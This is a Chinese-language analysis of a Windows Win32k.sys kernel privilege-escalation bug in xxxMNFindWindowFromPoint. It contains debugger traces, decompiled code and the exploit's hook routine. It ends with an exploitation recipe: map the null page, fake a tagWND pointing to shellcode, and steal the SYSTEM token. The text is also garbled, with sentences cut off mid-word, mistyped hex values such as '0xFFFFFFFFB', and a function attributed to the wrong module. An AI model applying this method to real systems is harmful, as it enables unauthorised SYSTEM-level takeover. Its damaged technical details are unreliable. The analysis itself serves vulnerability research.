

漏洞概述

Win32k.sys是Windows的系统驱动文件，在Win32k.sys中负责窗口管理，以及GUI进程/线程都将使用Win32k.sys。与其相关的用户模式模块是user32.dll和GDI32.DLL，在user32.dll的xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1，-5。在该函数后面将调用函数xxxSendMessage，xxxSendMessage把xxxMN

漏洞细节

通过对利用程序的分析发现在该漏洞利用代码中将调用PsLookupProcessByProcessId获取进程EPROCESS结构指针，在利用该结构中的TOKEN进行提权。在调用PsLooku

```

kd> w
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
99850a24 94b394f3 ffffffff 000001ed 018bf8bc win32+0x1830
99850a64 94b395c5 ffffffff 000001ed 018bf8bc win32k!xxxSendMessageTimeout+0x1ac (FPO: [Non-Fpo])
99850a8c 94bb92fb ffffffff 000001ed 018bf8bc win32k!xxxSendMessage+0x2f8 (FPO: [Non-Fpo])
99850aac 94b395c1 f9f550b0c 00000000 018bf8bc win32k!xxxSendMenuMessages+0x502 (FPO: [Non-Fpo])
99850b38 94bb4841 f4013e08 9c94f580 00000000 win32k!xxxNtLoop+0x2c6 (FPO: [Non-Fpo])
99850ba0 94bbfd9c 0000001c 00000000 ffffdf80 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
99850c14 83e5786c 00820119 00000000 ffffdf80 win32k!NtUserTrackPopupMenu+0xc3 (FPO: [Non-Fpo])
99850c14 77057014 00820119 00000000 ffffdf80 nt!KiSystemServicePostCall (FPO: [0.3] TrapFrame # 99850c34)
018bfed0 7562483c 7412243 00820119 00000000 nt!KiFastSystemCallRet (FPO: [0.5.5])
018bfed4 75612243 00820119 00000000 ffffdf80 USER32!NtUserTrackPopupMenu+0xc (FPO: [6.0.0])
018bfef4 01301604 00820119 00000000 ffffdf80 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
018bf184 75a9ed6c 00000000 018bfdf0 770737eb win32+0x1604
018bf190 770737eb 00000000 76edcb9 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
018bf190 770737eb 00000000 00000000 00000000 nt!NtUserThreadStart+0x70 (FPO: [Non-Fpo])
018bf1e8 00000000 01301526 00000000 00000000 nt!NtUserThreadStart+0x1b (FPO: [Non-Fpo])
1: kd> w 01301604
win32+0x1604
01301604 85c0 test eax, eax
01301606 7417 je win32+0x161f (0130161f)
01301608 57 push edi
01301609 57 push edi
0130160a 57 push edi
0130160b f474241c dword ptr [esp+1Ch]
0130160f f15508913001 call dword ptr [win32+0x9158] (01309158)
01301615 c70568da300101000000 mov dword ptr [win32+0xda68] (0130da68),1
.text:013015E5 call ds:SetWindowsHookExA
.text:013015EB test eax, eax
.text:013015ED jz short loc_130161F
.text:013015EF push edi ; prcRect
.text:013015F0 push [esp+6Ch+hWnd] ; hWnd
.text:013015F4 mov eax, 0FFFFFFD8F0h
.text:013015F9 push edi ; nReserved
.text:013015FA push eax ; y
.text:013015FB push ecx ; x
.text:013015FC push edi ; uFlags
.text:013015FD push ebx ; hMenu
.text:013015FE call ds:TrackPopupMenu
.text:01301604 test eax, eax

```

可以看到程序是在执行函数TrackPopupMenu触发了漏洞。通过函数调用栈，对esi值的来源进行反向跟踪，可以知道在Menu的消息处理函数xxxHandleMenuMessages(int a1, int a2, int a3)中调用xxxMNFIndWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值，最终触发了漏洞。

```

v12 = (_DWORD *)a2;
*((_DWORD *)a2 + 16) = -1;
*((_DWORD *)a2 + 8) = (signed __int16)v7;
*((_DWORD *)a2 + 12) = SHIMORD(v7);
PWinID = (_DWORD *)x0000ffffFindWindowFromPoint((HCHAR)v3, (int)&UnicodeString, (int)v7);// 返回值为非零
v48 = IsMFHWPWinID(PWinID);
if ( v48 )
{
    v42 = *(((_DWORD *)gptiCurrent + 45);
    *(((_DWORD *)gptiCurrent + 45) = &v42;
    v43 = PWinID;
    if ( PWinID )
        ++PWinID[1];
}
if ( v12[1] & 0x400 )
{
    v12[9] = v12[2];
    v12[10] = v12[3];
    v12[12] = UnicodeString;
    LockMFHWPWinID(v12 + 11, PWinID);
}
if ( v12[1] & 0x500 )
    v12[13] = ((v46 & 2) != 0) + 1;
if ( !PWinID && !UnicodeString )
    goto LABEL_22;
if ( *((_BYTE *)v3 & 2 && PWinID == (_DWORD *)-5 )
{
    x0000SwitchToAlternateMenu(v3);
    PWinID = (_DWORD *)-1;
}
if ( PWinID == (_DWORD *)-1 )
    x0000ButtonDown(v3, v12, UnicodeString, 1);
else
    x00SendMessage(PWinID, 237, UnicodeString, 0);// 触发漏洞

```

通过对xxxMNFindowFromPoint的调用过程进行分析，找到异常的返回值是在SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到。异常的值最终是由KeUserModeCallback函数通过v27指向的值返回。

```

ms_exc.registration.TryLevel = -2;
UserSessionSwitchLeaveCrit();
v28 = KeUserModeCallback(33, &v20, 24, &v27, &v29); // 回调用户态的消息处理函数
UserEnterUserCritSec();
ThreadUnlock1();
ms_exc.registration.TryLevel = 1;
v13 = (v9[53] + 40);
*v13 = v17;
++v13;
*v13 = v18;
v13[1] = v19;
ms_exc.registration.TryLevel = -2;
if ( v28 < 0 || v29 != 12 )
    return 0;
ms_exc.registration.TryLevel = 2;
if ( v27 < W32UserProbeAddress ) // 在用户空间返回一个值
    v14 = *v27;
else
    v14 = *W32UserProbeAddress;
v30 = v14;
ms_exc.registration.TryLevel = -2;

```

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数，通过对KeUserModeCallback、KiUserCallbackDispatcher

```

0: kd> r
eax=8d3ff870 ebx=fefa5278 ecx=87761748 edx=00000000 esi=7ffde700 edi=8d3ff870
eip=94bf6729 esp=8d3ff840 ebp=8d3ff8c0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
win32k!SfnOUTDWORDINDWORD+0xba:
94bf6729 ff157804c794 call     dword ptr [win32k!_iap_KeUserModeCallback (94c70478)] ds:0023:94c70478={
0: kd> kv 10
ChildEBP RetAddr  Args to Child
8d3ff8c0 94ace785 fefa31580 000001eb 8d3ffa98 win32k!SfnOUTDWORDINDWORD+0xba (FPO: [Non-Fpo])
8d3ff924 94b12e6f 00e01475 75626dd3 00000000 win32k!xxxHkCallHook+0x196 (FPO: [Non-Fpo])
8d3ff9c0 94b394c0 00000000 00000000 00000002 win32k!xxxCallHook+0x35f (FPO: [Non-Fpo])
8d3ffa98 94b394c0 00000000 00000000 00000002 win32k!xxxCallHook+0x26 (FPO: [Non-Fpo])
8d3ffa9c 94b395c5 fefa31580 000001eb 8d3ffa98 win32k!xxxSendMessageTimeout+0x179 (FPO: [Non-Fpo])
8d3ffa44 94bb95f6 fefa31580 000001eb 8d3ffa98 win32k!xxxSendMessage+0x28 (FPO: [Non-Fpo])
8d3ffa90 94bb8e16 fe842c58 8d3ffa9c 00000000 win32k!xxxMNFindWindowFromPoint+0x58 (FPO: [Non-Fpo])
8d3ffaec 94bb8c1f 8d3ffb0c 94c9f580 00000000 win32k!xxxHandleMenuMessages+0x9e (FPO: [Non-Fpo])
8d3ffb38 94bbf8f1 fe842c58 94c9f580 00000000 win32k!xxxMNLoop+0x2c6 (FPO: [Non-Fpo])
8d3ffb0a 94bbf9dc 00000001c 00000000 fffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
8d3ffc14 83e578c6 000703b9 00000000 fffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [Non-Fpo])
8d3ffc14 770570f4 000703b9 00000000 fffffd8f0 nt!KiSystemServicePostCall (FPO: [0.3] TrapFrame @ 8d3ffc34)
00c6f898 7562483e 75612243 000703b9 00000000 ntdll!KiFastSystemCallRet (FPO: [0.0.0])
00c6f89c 75612243 000703b9 00000000 fffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6.0.0])
00c6f8bc 00e01604 000703b9 00000000 fffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
00c6f94c 75a9ed6c 00000000 00c6f998 770737eb 0xe01604

```

程序在fn函数中通过SetWindowLongA设置PopupMenu的窗口消息处理函数，那么当xxxCallHook函数返回后，下图中的条件不成立，将执行xxxSendMessageToClient

```

if ( gptiCurrent == *(P + 2) )
{
    if ( (*(gptiCurrent + 300) | (*(gptiCurrent + 51) + 12)) & 0x20 )
    {
        v22 = *P;
        v20 = UnicodeString;
        v19 = Src;
        v21 = v12;
        v23 = 0;
        xxxCallHook(0, 0, &v19, 4);
    }
    if ( *(P + 22) & 4 )
    {
        IoGetStackLimits(&LowLimit, &HighLimit);
        if ( &HighLimit - LowLimit < 0x1000 )
            return 0;
        result = (*(P + 24))(P, v12, UnicodeString, Src);
        if ( !a7 )
            return result;
        *a7 = result;
    }
    else
    {
        xxxSendMessageToClient(P, v12, UnicodeString, Src, 0, 0, &HighLimit); // 通过HighLimit返回异常
        v15 = v13[75] | *(v13[51] + 12);
        v16 = HighLimit;
        if ( v15 & 0x2000 )
        {
            v22 = *P;
            v20 = UnicodeString;
            v19 = Src;
            v21 = v12;
            v18 = HighLimit;
            v23 = 0;
            xxxCallHook(0, 0, &v18, 12);
        }
    }
}

```

sub_13013F3函数中会调用 EndMenu 销毁菜单窗口并返回0xFFFFFFFFB。应用层代码返回 0xFFFFFFFFB，执行流返回到内核 win32k!

xxxMNFindWindowFromPoint 上下文

，0xFFFFFFFFB与KeUserModeCallback函数通过v27返回的值相等，0xFFFFFFFFB会做为xxxMNFindWindowFromPoint的返回值。为了确认，可以修改sub_13013F3函数

```

int __stdcall sub_13013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    int result; // eax
    DWORD v5; // eax

    if ( Msg != 491 )
        return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
    v5 = GetCurrentThreadId();
    SetWindowsHookExA(9, pfnFilterProc, 0, v5);
    SendMessageA(hWnd, 0, 0x900516u, 0);
    UnhookWindowsHook(9, pfnFilterProc);
    if ( dword_130DA58 )
    {
        EndMenu();
        result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, lParam);
    }
    else
    {
        EndMenu();
        result = 0xFFFFFFFFB;
    }
    return result;
}

```

可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时，没有判断消息函数的返回值，最终导致了漏洞。

该漏洞触发的完整过程如下：通过模仿点击事件，CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息，因为无法拿到PopupMenu的窗口句柄，程序并没有在新的窗口消息处理函数中，对于消息号为0x1EB的消息，函数返回了0xFFFFFFFFB，最终触发了漏洞。

漏洞利用

对于消息号为0x1EB的消息，函数返回了0xFFFFFFFFB，而程序把该值作为win32k!tagWND结构处理，导致后边把0xFFFFFFFFB作为win32k!ptagWND结构传给win32k!xxxSendMessage。在win32k!xxxSendMessage中会调用win32k!xxxSendMessageTimeout，在win32k!xxxSendMessageTimeout中当把0xFFFFFFFFB作为win32k!tagWND结构处理时，会调用ptag [0xFFFFFFFFB+0x60]，即call [0x5B]。

```
.text:94B394E8
.text:94B394E8  loc_94B394E8:                ; CODE XREF: xxxSendMessageTimeout
.text:94B394E8          push    [ebp+Src]
.text:94B394E8          push    dword ptr [ebp+UnicodeString]
.text:94B394EE          push    ebx
.text:94B394EF          push    esi
.text:94B394F0          call    dword ptr [esi+60h]
.text:94B394F3          mov     ecx, [ebp+arg_18]
.text:94B394F6          test    ecx, ecx
.text:94B394F8          jz      loc_94B39591
.text:94B394FE          mov     [ecx], eax
.text:94B39500          jmp     loc_94B3958A
```

通过call [0x5B]可以想到只要在0x5B的地址上布置shellcode的地址，在执行到call [0x5B]的时候就能跳转到shellcode代码上去执行。基本的利用流程如下。

- 1) 通过函数ZwAllocateVirtualMemory申请0页内存空间，在该空间建立一个畸形的win32k!tagWND结构的映射页，使得在内核能正确地验证。并将shellcode地址布置在0x5B
- 2) 触发漏洞，并设置 xxxMNFindWindowFromPoint返回值为 -5 (0xffffffffb) 。xxxSendMessage将把-5作为一个有效的地址。然后调用指向shellcode的函数指针。
- 3) Shellcode中将调用PsLookupProcessByProcessId获取EPROCESS信息，用系统进程system进程的EPROCESS.Token替换自己进程的EPROCESS.Token提升权限。
- 4) 创建一个子进程，将用系统程序权限执行。

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